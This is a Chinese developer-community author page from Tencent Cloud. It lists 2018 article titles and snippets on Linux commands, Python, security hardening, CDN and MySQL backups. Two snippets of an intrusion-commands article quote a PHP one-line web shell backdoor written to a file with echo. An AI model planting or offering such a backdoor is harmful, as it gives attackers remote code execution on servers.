腾讯云开发者社区-腾讯云

开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

北京马哥教育

专栏作者

1832

文章

3323802

阅读量

203

订阅数

黑客常用linux入侵常用命令，有你不知道的没？

黑客 linux php shell python

写个php一句话后门上去： [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time

2018-11-08

6890

黑客常用linux入侵常用命令，有你不知道的没？

黑客 linux php shell python

写个php一句话后门上去： [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.

2018-09-28

1.3K0

黑客用Python：检测并绕过Web应用程序防火墙

Web应用防火墙通常会被部署在Web客户端与Web服务器之间，以过滤来自服务器的恶意流量。而作为一名渗透测试人员，想要更好的突破目标系统，就必须要了解目标系统的WAF规则。如今，许多WAF都是基于签名的。下图简单描绘了一个Web应用防火墙的工作流程：

2018-08-17

1.1K0

Linux 之父如何定义 Linux？

linux unix 黑客汇编语言开源

LINUX是一个免费类unix内核，适用于386-AT计算机，附带完整源代码。主要让黑客、计算机科学学生使用，学习和享受。它大部分用C编写，但是一小部分是用gnu格式汇编，而且引导序列用的是因特尔086汇编语言。C代码是相对ANSI的，使用一些GNU增强特性（大多为 __asm__ 和 inline）。

2018-07-31

25.1K0

黑客的Linux神技能：使用环境变量进行提权

黑客 linux unix 存储

在这篇文章中，我将会为大家介绍一些使用环境变量进行Linux提权的方法，包括在CTF challenges中使用到一些的技术。话不多说，让我们进入正题！

2018-07-31

1.7K0

Linux下的8个开源安全工具，再也不怕黑客啦

linux 开源安全黑客运维

在计算机的发展史上，恶意软件和病毒攻击层出不穷。Linux的安全问题始终未能在大众范围里引起注意。但对于专业人士而言，Linux系统上的攻击虽然隐藏在水面之下，威胁却与日俱增。

2018-07-31

1.9K0

Linux 新手必会的21条命令合集

Linux初期的学习曲线有些陡峭，所以作为一名初学者，学会自娱自乐是非常重要的。先来看13个有趣的小命令。 1.sl 命令你会看到一辆火车从屏幕右边开往左边。。。。。。安装 $ sudo apt-get install sl 运行 $ sl 命令有 -alFe几个选项， -a An accident seems to happen. You'll feel pity for people who cry for help. -l shows little one. -F It flies. -e

2018-06-20

7070

动画演示9个超有趣的Linux命令

Linux最强大的一个特征就是它有大量的各种小命令工具，这也可以称做是它最有趣的一个地方了。在这些大量的有用的命令和脚本中，你会发现有少部分命令工具不那么有用的——如果你不愿意说是完全没用处的话。你要知道，Linux命令终端并不是总来干一些严肃的事情的，这里列举的几个没有实际用处、但很有趣的命令. 它们的有趣并不是因为无用，而是真的有趣，接下来就让我们看看它们是如何搞怪的吧。一、cmatrix 你应该看过好莱坞大片《骇客帝国》，相信你会对电影中那些神奇的场景着迷。在Neo的眼里任何东西都能以计

2018-06-20

1.1K0

动画演示9个超有趣的Linux命令

作者 | 佚名来源 | 51CTO 糖豆贴心提醒，本文阅读时间6分钟，文末有秘密！ Linux最强大的一个特征就是它有大量的各种小命令工具，这也可以称做是它最有趣的一个地方了。在这些大量的有用的命令和脚本中，你会发现有少部分命令工具不那么有用的——如果你不愿意说是完全没用处的话。你要知道，Linux命令终端并不是总来干一些严肃的事情的，这里列举的几个没有实际用处、但很有趣的命令. 它们的有趣并不是因为无用，而是真的有趣，接下来就让我们看看它们是如何搞怪的吧。一、cmatrix 你应该看过好莱

2018-05-04

1.2K0

六个诀窍帮你抵御DDoS攻击

ddos 黑客安全分布式安全漏洞

随着黑客们隐藏自己的手段愈发高明、攻击招式更为凶狠，各行各业的安全领导者们需要尽快做好准备。如果向全国各大主要银行的CSO们询问近几个月来所遭遇过的分布式拒绝服务攻击（简称DDoS），他们一定会三缄其口。没错，保持沉默正是安全人士的首选态度。安全高管们从不愿意谈论这些攻击活动，因为他们不希望自己的言论使企业受到更多关注。他们甚至担心光是提供防御策略的基本信息就足以吸引攻击者前来并找到安全漏洞。　　但很多企业在初次受到攻击时就已经发现端倪，而安全管理者也需要针对恶意攻击是否还将卷土重来给出答案。因此尽管CS

2018-05-04

7750

黑客们会用到哪些Python技术？

黑客 python ruby 安全漏洞 java

学Python最简单的方法是什么？推荐阅读：Python开发工程师成长魔法 Python已经成为漏洞开发领域的行业标准，读者会发现大多数概念验证工具都是用Python语言编写的（除了用Ruby写的安全漏洞检测工具）。Python允许开发者编写脚本处理远程服务，处理二进制文件，与C语言库（或者Java的Jython/。Net的IronPython）以快速且简单的方式进行交互。它“内置电池”原则的巨大标准库，为开发省去对其它框架或者语言的依赖。我想跟读者们分享个人的python编程经历，这些也许会对你未来

2018-05-04

1.7K0

一次linux服务器被黑客入侵后的处理

linux 黑客 ssh

场景：周一上班centos服务器ssh不可用，web和数据库等应用不响应。好在vnc可以登录使用last命令查询，2号之前的登录信息已被清空，并且sshd文件在周六晚上被修改，周日晚上2点服务器被人远程重启使用less /var/log/messages命令2点结合last命令，判断2点重启后IPATABLES生效，有大量的ssh暴力破解的扫描信息，由于机器是测试环境，上面安装了ORACLE和squid，临时管理了iptables，重启后iptables启动，应该没有再次被再次登录，但是系统中

2018-05-04

1.3K0

学会用各种姿势备份MySQL数据库

云数据库 SQL Server 数据库黑客

前言我们试着想一想, 在生产环境中什么最重要？如果我们服务器的硬件坏了可以维修或者换新, 软件问题可以修复或重新安装, 但是如果数据没了呢？这可能是最恐怖的事情了吧, 我感觉在生产环境中应该没有什么比数据更为重要. 那么我们该如何保证数据不丢失、或者丢失后可以快速恢复呢？只要看完这篇, 大家应该就能对MySQL中实现数据备份和恢复能有一定的了解。为什么需要备份数据？其实在前言中也大概说明了为什么要备份数据, 但是我们还是应该具体了解一下为什么要备份数据在生产环境中我们数据库可能会遭遇各种各样的不测

2018-05-03

7970

7个案例15分钟让你了解Python套路！

古人云：书山有路勤为径学海无涯苦作舟。注：一般标榜着 “ XX天学会XX”、“ XX 分钟了解XX”的文章都不会是让你增长功力的文章,如本文。随着互联网发展，全球在快速数字化，编程这件事也从

2018-05-03

6580

123个Python黑客工具，再也不用问女朋友要手机密码了

今天的文章来源于dloss/python-pentest-tools，本文中列举了123个Python渗透测试工具，当然不仅于渗透~ 下面我们就开始吧~ ———————————————————————— 如果你想参与漏洞研究、逆向工程和渗透，我建议你时候用Python语言。Python已经有很多完善可用的库，我将在这里把他们列出来。这个清单里的工具大部分都是Python写成的，一部分是现有C库的Python绑定，这些库在Python中都可以简单使用。一些强力工具（pentest frameworks

2018-05-03

1.6K0

一个很有借鉴价值的编程故事

ruby 黑客 scala

这是一个真实的故事，关于我自己的。一个理智的生命个体是怎么一步步走向疯狂？我穿着西装，坐在办公室里，脑子里有一个模糊的创业想法。然后，我决定学习编程。我曾经无意中听到过几个人在那吹牛说自己怎么使用一种叫Ruby的语言轻松实现自动办公。我想“呵，Ruby”。我回到家，谷歌Ruby。15秒之后，我随机选择了一个Ruby教程，开始学习。一周以后，我参加人生中的第一次黑客聚会。在场的每个人都在讨论什么Scala，Clojure，Go。我想，他们学得还真是多。转身我就借了三本O’reilly的书，每本书看了大概5

2018-05-02

9650

预防高逼格Linux黑客招数，不学你就后悔吧！

linux 黑客安全

本文由马哥教育Linux云计算面授班24期学员推荐，转载自互联网，作者为And，内容略经小编改编和加工，观点跟作者无关，最后感谢作者的辛苦贡献与付出。很多人都知道Linux系统的安全性很高，在功能和价格上也有很多的优势，但是不可避免的也会存在安全隐患，并且出现问题时解决起来会很麻烦，为了更好的避免这些安全隐患. 本文教你八种提高Linux系统安全性的招数。虽然招数不大，但招招奏效，你不妨一试。 1.限制系统的出入在进入Linux系统之前，所有用户都需要登录，也就是说，用户需要输入用户账号和密码，只有

2018-05-02

9040

服务好“最后一公里”，高效CDN架构经验

cdn 黑客 ddos 安全

国内，随着互联网的高速发展，因为各大通信公司的政策，造成了南电信北联通互通有局限性，再加上大小且质量参差不齐的运营商，在这特殊的氛围的互联互通下号称“八线合一”的机房开始崭露头角。互联网的广泛性使得网民分散在全国各地，由于全国地区的经济发展和互联网建设的不平衡，实际网民的体验往往受限于最后一公里的速度。在技术大喷井的年代，一些无聊或者有目的黑客攻击也开始涌现，无论是渗透还是DDoS攻击都非常频繁，时刻威胁着网站的安全…… 上述种种问题，作为应用服务提供商，我们要如何解决此类问题呢？归根结底就是要充分利用好C

2018-05-02

1.8K0

linux安全小贴士

linux 安全黑客

对于系统管理员，让产品的系统更安全，免于骇客和黑客的攻击，一直是一项挑战。这是我们关于“如何让Linux系统更安全” 或者 “加固Linux系统“之类话题的第一篇文章。本文将介绍 25个有用的技巧和窍门，帮助你让Linux系统更加安全。希望下面的这些技巧和窍门可以帮助你加强你的系统的安全。 1. 物理系统的安全性配置BIOS，禁用从CD/DVD、外部设备、软驱启动。下一步，启用BIOS密码，同时启用GRUB的密码保护，这样可以限制对系统的物理访问。通过设置GRUB密码来保护Linux服务器 2. 磁盘

2018-05-02

1.4K0

我的linux运维日记，比较下学习与工作。

linux 运维数据库黑客

从事运维一年半，遇到过各式各样的问题，数据丢失，网站挂马，误删数据库文件，黑客攻击等各类问题，今天想简单整理一下，主要有以下几点： 1.线上操作规范测试使用 Enter前再三确认忌多人同时操作先看再备份后改 2.涉及数据慎用rm -rf 备份大于一切稳定大于一切保密大于一切 3.涉及安全 ssh 防火墙精细权限控制粒度入侵检测和日志监控 4.日常监控系统运行状况服务运行状况日志监控（安全） 5.性能调优深入了解运行机制调优框架以及先后每次只调一个参数基准测试 6.运维心态控制

2018-05-02

1.7K0

点击加载更多

社区活动

腾讯技术创作狂欢月

“码”上创作 21 天，分 10000 元奖品池！

Python精品学习库

代码在线跑，知识轻松学

博客搬家 | 分享价值百万资源包

自行/邀约他人一键搬运博客，速成社区影响力并领取好礼

技术创作特训营·精选知识专栏

往期视频·千货材料·成员作品最新动态